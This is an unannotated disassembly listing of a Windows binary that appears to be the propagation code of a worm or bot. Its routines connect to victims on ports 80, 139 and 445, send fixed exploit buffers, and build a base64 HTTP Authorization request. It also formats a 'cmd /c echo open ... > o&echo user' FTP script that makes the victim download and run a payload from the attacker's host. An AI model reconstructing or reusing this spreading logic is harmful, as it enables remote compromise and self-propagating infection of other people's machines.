		push	esi
		call	sub_4233D6	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_40BEB0


loc_40BEAC:				; CODE XREF: sub_40BE45+54j
		xor	eax, eax
		jmp	short loc_40BEC0
; ---------------------------------------------------------------------------


loc_40BEB0:				; CODE XREF: sub_40BE45+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CDEFC	; recv


loc_40BEC0:				; CODE XREF: sub_40BE45+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40BE45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BEC4	proc near		; CODE XREF: sub_40BF09+80p
					; sub_40BF09+AEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CDEE0	; htonl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDF30	; send
		cmp	eax, 4
		jz	short loc_40BEEE
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40BEEE:				; CODE XREF: sub_40BEC4+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CDF30	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40BEC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BF09	proc near		; CODE XREF: sub_40BFE8+48p
					; .nsp0:0040C459p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_418235
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40BF32
		xor	al, al
		jmp	loc_40BFE3
; ---------------------------------------------------------------------------


loc_40BF32:				; CODE XREF: sub_40BF09+20j
		push	ebx
		push	0
		push	esi
		call	sub_4182F0
		push	2Fh
		push	offset dword_435278
		push	esi
		call	sub_419070
		push	8
		lea	eax, [esi+31h]
		push	offset dword_4352A8
		push	eax
		mov	[esi+2Fh], di
		call	sub_419070
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_419070
		push	6
		add	ebx, edi
		push	offset dword_4D0BE0
		push	ebx
		call	sub_419070
		push	85h
		push	offset dword_4351F0
		push	[ebp+arg_0]
		call	sub_40BEC4
		add	esp, 48h
		test	al, al
		jnz	short loc_40BF99


loc_40BF95:				; CODE XREF: sub_40BF09+B8j
		xor	bl, bl
		jmp	short loc_40BFDA
; ---------------------------------------------------------------------------


loc_40BF99:				; CODE XREF: sub_40BF09+8Aj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_40BE45
		push	[ebp+var_4]
		push	esi
		push	[ebp+arg_0]
		call	sub_40BEC4
		add	esp, 1Ch
		test	al, al
		jz	short loc_40BF95
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_40BE45
		add	esp, 10h
		mov	bl, 1


loc_40BFDA:				; CODE XREF: sub_40BF09+8Ej
		push	esi
		call	sub_417E11
		pop	ecx
		mov	al, bl


loc_40BFE3:				; CODE XREF: sub_40BF09+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BF09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFE8	proc near		; CODE XREF: .nsp0:0040C43Fp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_4352B8
		push	[ebp+arg_0]
		call	dword_42420C	; send
		cmp	eax, 48h
		jnz	short loc_40C023
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40BE45
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C023
		cmp	[ebp+var_20], 82h
		jz	short loc_40C027


loc_40C023:				; CODE XREF: sub_40BFE8+1Bj
					; sub_40BFE8+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40C027:				; CODE XREF: sub_40BFE8+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BF09
		add	esp, 0Ch
		leave
		retn
sub_40BFE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C03A	proc near		; CODE XREF: sub_40C086+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_424680
		call	sub_4194F8
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_424678
		fstp	[esp+10h+var_10]
		call	sub_4193D9
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_4194F8
		inc	eax
		leave
		retn
sub_40C03A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C086	proc near		; CODE XREF: sub_40C225+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_423533
		call	sub_4199C4
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	[ebp-20h], edi
		mov	al, [ebp+13h]
		push	edi
		lea	ecx, [ebp-38h]
		mov	[ebp-38h], al
		call	sub_40C6B8
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-4], ebx
		call	sub_40C03A
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40C0C8
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40C632


loc_40C0C8:				; CODE XREF: sub_40C086+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40C1E6
		mov	ebx, [ebp+10h]


loc_40C0D7:				; CODE XREF: sub_40C086+157j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40C0E2
		push	3


loc_40C0DF:				; CODE XREF: sub_40C086+64j
		pop	ebx
		jmp	short loc_40C0F5
; ---------------------------------------------------------------------------


loc_40C0E2:				; CODE XREF: sub_40C086+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40C0EC
		push	2
		jmp	short loc_40C0DF
; ---------------------------------------------------------------------------


loc_40C0EC:				; CODE XREF: sub_40C086+60j
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40C0F5
		xor	ebx, ebx
		inc	ebx


loc_40C0F5:				; CODE XREF: sub_40C086+5Aj
					; sub_40C086+6Aj
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_424688
		fstp	[esp+40h+var_40]
		call	sub_41951F
		pop	ecx
		pop	ecx
		call	sub_4194F8
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40C134
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40C134:				; CODE XREF: sub_40C086+94j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40C1A2
		add	[ebp-18h], eax


loc_40C186:				; CODE XREF: sub_40C086+11Aj
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_435308[eax]
		push	eax
		push	1
		call	sub_40C4B3
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40C186


loc_40C1A2:				; CODE XREF: sub_40C086+FBj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40C1C0
		push	dword ptr [ebp+14h]
		call	sub_417D40
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40C50D
		mov	[ebp-18h], edi


loc_40C1C0:				; CODE XREF: sub_40C086+120j
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40C1DA
		sub	esi, [ebp-1Ch]


loc_40C1CB:				; CODE XREF: sub_40C086+152j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40C4B3
		dec	esi
		jnz	short loc_40C1CB


loc_40C1DA:				; CODE XREF: sub_40C086+140j
		cmp	[ebp+10h], edi
		ja	loc_40C0D7
		xor	ebx, ebx
		inc	ebx


loc_40C1E6:				; CODE XREF: sub_40C086+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40C6B8
		push	0FFFFFFFFh
		lea	eax, [ebp-38h]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_40C565
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40C6B8
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40C086	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C225	proc near		; CODE XREF: .nsp0:0040C422p
		mov	eax, offset loc_423550
		call	sub_4199C4
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_4400B4
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40C086
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_418235
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40C26F
		xor	bl, bl
		jmp	short loc_40C2B3
; ---------------------------------------------------------------------------


loc_40C26F:				; CODE XREF: sub_40C225+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_424690
		cmp	ecx, ebx
		jnz	short loc_40C27D
		mov	ecx, eax


loc_40C27D:				; CODE XREF: sub_40C225+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40C285
		mov	eax, [ebp+18h]


loc_40C285:				; CODE XREF: sub_40C225+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_4186E0
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CDF30	; send
		cmp	eax, esi
		jz	short loc_40C2AA
		xor	bl, bl
		jmp	short loc_40C2AC
; ---------------------------------------------------------------------------


loc_40C2AA:				; CODE XREF: sub_40C225+7Fj
		mov	bl, 1


loc_40C2AC:				; CODE XREF: sub_40C225+83j
		push	edi
		call	sub_417E11
		pop	ecx


loc_40C2B3:				; CODE XREF: sub_40C225+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40C6B8
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40C6B8
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40C225	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_4354B8
		push	eax
		call	sub_419070
		add	esp, 0Ch
		mov	eax, offset byte_4260F8
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CDC38
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409C7B
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_4186E0
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_435350
		push	eax
		call	sub_40BAEF
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40C37E
		xor	eax, eax
		jmp	loc_40C4A6
; ---------------------------------------------------------------------------


loc_40C37E:				; CODE XREF: .nsp0:0040C375j
		mov	[ebp-0Ch], esi


loc_40C381:				; CODE XREF: .nsp0:0040C481j
		test	esi, esi
		jnz	loc_40C487
		push	6
		push	1
		push	2
		call	dword_424208	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40C46F
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CDEE4	; htons
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CDF20	; inet_addr
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CDE90	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C464
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40C42C
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40C6B8
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40C6F0
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40C225
		add	esp, 1Ch
		jmp	short loc_40C461
; ---------------------------------------------------------------------------


loc_40C42C:				; CODE XREF: .nsp0:0040C3EAj
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40C446
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40BFE8
		jmp	short loc_40C45E
; ---------------------------------------------------------------------------


loc_40C446:				; CODE XREF: .nsp0:0040C436j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40C464
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40BF09


loc_40C45E:				; CODE XREF: .nsp0:0040C444j
		add	esp, 0Ch


loc_40C461:				; CODE XREF: .nsp0:0040C42Aj
		movzx	esi, al


loc_40C464:				; CODE XREF: .nsp0:0040C3DDj
					; .nsp0:0040C450j
		push	ebx
		call	dword_4CDF78	; closesocket
		test	esi, esi
		jnz	short loc_40C47A


loc_40C46F:				; CODE XREF: .nsp0:0040C39Aj
		push	3E8h
		call	dword_424078	; Sleep


loc_40C47A:				; CODE XREF: .nsp0:0040C46Dj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40C381


loc_40C487:				; CODE XREF: .nsp0:0040C383j
		lea	ecx, [ebp-8]
		call	sub_40B91C
		test	esi, esi
		jz	short loc_40C4A4
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		lea	eax, dword_4348A0[eax]
		inc	dword ptr [eax]


loc_40C4A4:				; CODE XREF: .nsp0:0040C491j
		mov	eax, esi


loc_40C4A6:				; CODE XREF: .nsp0:0040C379j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423514


loc_40C4AB:				; CODE XREF: sub_423514+3j
					; .nsp0:0042352Dj ...
		push	1
		call	sub_40C6B8
		retn
; END OF FUNCTION CHUNK	FOR sub_423514

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C4B3	proc near		; CODE XREF: sub_40C086+111p
					; sub_40C086+14Cp

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		or	eax, 0FFFFFFFFh
		push	edi
		sub	eax, [esi+8]
		cmp	eax, [ebp+arg_0]
		ja	short loc_40C4CA
		call	sub_423080


loc_40C4CA:				; CODE XREF: sub_40C4B3+10j
		cmp	[ebp+arg_0], 0
		jbe	short loc_40C505
		mov	edi, [esi+8]
		push	0
		add	edi, [ebp+arg_0]
		mov	ecx, esi
		push	edi
		call	sub_40C632
		test	al, al
		jz	short loc_40C505
		movsx	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_4182F0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40C505:				; CODE XREF: sub_40C4B3+1Bj
					; sub_40C4B3+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_40C4B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C50D	proc near		; CODE XREF: sub_40C086+132p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		or	eax, 0FFFFFFFFh
		push	edi
		sub	eax, [esi+8]
		cmp	eax, [ebp+arg_4]
		ja	short loc_40C524
		call	sub_423080


loc_40C524:				; CODE XREF: sub_40C50D+10j
		cmp	[ebp+arg_4], 0
		jbe	short loc_40C55D
		mov	edi, [esi+8]
		push	0
		add	edi, [ebp+arg_4]
		mov	ecx, esi
		push	edi
		call	sub_40C632
		test	al, al
		jz	short loc_40C55D
		push	[ebp+arg_4]
		mov	eax, [esi+8]
		add	eax, [esi+4]
		push	[ebp+arg_0]
		push	eax
		call	sub_419070
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40C55D:				; CODE XREF: sub_40C50D+1Bj
					; sub_40C50D+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_40C50D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C565	proc near		; CODE XREF: sub_40C086+179p
					; sub_4230DA+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40C57D
		call	sub_4232AC


loc_40C57D:				; CODE XREF: sub_40C565+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40C58F
		mov	esi, [ebp+arg_8]


loc_40C58F:				; CODE XREF: sub_40C565+25j
		cmp	edi, ebx
		jnz	short loc_40C5AD
		add	esi, ecx
		push	0FFFFFFFFh
		push	esi
		mov	ecx, edi
		call	sub_40C725
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40C725
		jmp	short loc_40C629
; ---------------------------------------------------------------------------


loc_40C5AD:				; CODE XREF: sub_40C565+2Cj
		test	esi, esi
		jbe	short loc_40C5F0
		cmp	esi, eax
		jnz	short loc_40C5F0
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40C5C1
		mov	eax, offset dword_424690


loc_40C5C1:				; CODE XREF: sub_40C565+55j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40C5F0
		push	1
		mov	ecx, edi
		call	sub_40C6B8
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40C5DC
		mov	eax, offset dword_424690


loc_40C5DC:				; CODE XREF: sub_40C565+70j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40C629
; ---------------------------------------------------------------------------


loc_40C5F0:				; CODE XREF: sub_40C565+4Aj
					; sub_40C565+4Ej ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40C632
		test	al, al
		jz	short loc_40C629
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		test	eax, eax
		jnz	short loc_40C60D
		mov	eax, offset dword_424690


loc_40C60D:				; CODE XREF: sub_40C565+A1j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_419070
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40C629:				; CODE XREF: sub_40C565+46j
					; sub_40C565+89j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40C565	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C632	proc near		; CODE XREF: sub_40C086+3Dp
					; sub_40C4B3+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40C644
		call	sub_423080


loc_40C644:				; CODE XREF: sub_40C632+Bj
		mov	eax, [esi+4]
		xor	edx, edx
		cmp	eax, edx
		jz	short loc_40C66C
		mov	cl, [eax-1]
		cmp	cl, dl
		jz	short loc_40C66C
		cmp	cl, 0FFh
		jz	short loc_40C66C
		cmp	edi, edx
		mov	ecx, esi
		jnz	short loc_40C6AB
		dec	byte ptr [eax-1]
		push	edx


loc_40C663:				; CODE XREF: sub_40C632+48j
		call	sub_40C6B8


loc_40C668:				; CODE XREF: sub_40C632+4Cj
					; sub_40C632+53j
		xor	al, al
		jmp	short loc_40C6B3
; ---------------------------------------------------------------------------


loc_40C66C:				; CODE XREF: sub_40C632+19j
					; sub_40C632+20j ...
		cmp	edi, edx
		jnz	short loc_40C687
		cmp	[esp+8+arg_4], dl
		jz	short loc_40C67C
		push	1
		mov	ecx, esi
		jmp	short loc_40C663
; ---------------------------------------------------------------------------


loc_40C67C:				; CODE XREF: sub_40C632+42j
		cmp	eax, edx
		jz	short loc_40C668
		mov	[esi+8], edx
		mov	[eax], dl
		jmp	short loc_40C668
; ---------------------------------------------------------------------------


loc_40C687:				; CODE XREF: sub_40C632+3Cj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40C6A4
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40C699
		cmp	eax, edi
		jnb	short loc_40C6B1


loc_40C699:				; CODE XREF: sub_40C632+61j
		push	1
		mov	ecx, esi
		call	sub_40C6B8
		jmp	short loc_40C6A9
; ---------------------------------------------------------------------------


loc_40C6A4:				; CODE XREF: sub_40C632+59j
		cmp	[esi+0Ch], edi
		jnb	short loc_40C6B1


loc_40C6A9:				; CODE XREF: sub_40C632+70j
		mov	ecx, esi


loc_40C6AB:				; CODE XREF: sub_40C632+2Bj
		push	edi
		call	sub_40C78C


loc_40C6B1:				; CODE XREF: sub_40C632+65j
					; sub_40C632+75j
		mov	al, 1


loc_40C6B3:				; CODE XREF: sub_40C632+38j
		pop	edi
		pop	esi
		retn	8
sub_40C632	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C6B8	proc near		; CODE XREF: sub_40C086+1Fp
					; sub_40C086+16Bp ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40C6E0
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40C6E0
		dec	eax
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40C6D9
		cmp	cl, 0FFh
		jz	short loc_40C6D9
		dec	byte ptr [eax]
		jmp	short loc_40C6E0
; ---------------------------------------------------------------------------


loc_40C6D9:				; CODE XREF: sub_40C6B8+16j
					; sub_40C6B8+1Bj
		push	eax
		call	sub_4199E3
		pop	ecx


loc_40C6E0:				; CODE XREF: sub_40C6B8+8j
					; sub_40C6B8+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40C6B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C6F0	proc near		; CODE XREF: .nsp0:0040C416p
					; sub_40C849+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		push	edi
		mov	esi, ecx
		call	sub_40C632
		test	al, al
		jz	short loc_40C71E
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_419070
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40C71E:				; CODE XREF: sub_40C6F0+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40C6F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C725	proc near		; CODE XREF: sub_40C565+35p
					; sub_40C565+41p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40C738
		call	sub_4232AC


loc_40C738:				; CODE XREF: sub_40C725+Cj
		mov	ecx, edi
		call	sub_40C849
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40C74E
		mov	ebx, eax


loc_40C74E:				; CODE XREF: sub_40C725+25j
		test	ebx, ebx
		jbe	short loc_40C784
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_4199F0
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40C632
		test	al, al
		jz	short loc_40C784
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40C784:				; CODE XREF: sub_40C725+2Bj
					; sub_40C725+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C725	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C78C	proc near		; CODE XREF: sub_40C632+7Ap
		mov	eax, offset loc_42355C
		call	sub_4199C4
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40C7B2
		mov	edi, [ebp+8]


loc_40C7B2:				; CODE XREF: sub_40C78C+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40C7BF
		xor	eax, eax


loc_40C7BF:				; CODE XREF: sub_40C78C+2Fj
		push	eax
		call	sub_419D25
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40C7F0
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40C7DA
		xor	eax, eax


loc_40C7DA:				; CODE XREF: sub_40C78C+4Aj
		push	eax
		call	sub_419D25
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40C7EA
		retn
; ---------------------------------------------------------------------------


loc_40C7EA:				; DATA XREF: sub_40C78C+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40C7F0:				; CODE XREF: sub_40C78C+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40C80E
		cmp	eax, edi
		jbe	short loc_40C7FD
		mov	eax, edi


loc_40C7FD:				; CODE XREF: sub_40C78C+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_419070
		add	esp, 0Ch


loc_40C80E:				; CODE XREF: sub_40C78C+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40C6B8
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
